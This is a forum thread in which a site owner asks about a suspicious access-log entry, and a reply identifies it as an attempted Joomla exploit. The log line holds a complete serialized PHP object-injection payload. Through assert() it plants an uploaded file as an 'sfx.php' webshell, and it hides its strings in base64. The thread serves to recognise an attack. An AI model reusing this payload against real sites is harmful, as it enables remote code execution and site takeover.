1

Wondering if anyone can help with this. I've seen the following crop up in my access logs over a few days. It's generated a 301 response but i'm wondering if it's anything to be concerned about?

"GET / HTTP/1.1 "301 178 "-" "-"
"}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C
0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMys
ql\x22:0:{}s:8:\x22feed_url\x22;s:137:\x22print
copy($_FILES[file][tmp_name],dirname(JFactory::getConfig()->get(base64_decode(bG9nX3BhdGg))).base64_decode(L3RtcC9zZn
gucGhw));exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:
20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\xFD\xFD\xFD
, 109.184.87.217"[RT:0.001] [C:15755346]
1

I think this is nothing to worry about after some further digging. I created a php file just to show what was base64_decode'd and it shows log_path/tmp/sfx.php

From some research it looks like someone was trying to see if the website is powered by Joomla and trying to exploit a security issue in the Joomla CMS;

https://krebsonsecurity.com/tag/sfx-php/ https://www.claudiokuenzler.com/blog/534/joomla-hacked-through-akeeba-backup-restore-joomlaupdate#.WgWFz7Bl-fg

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.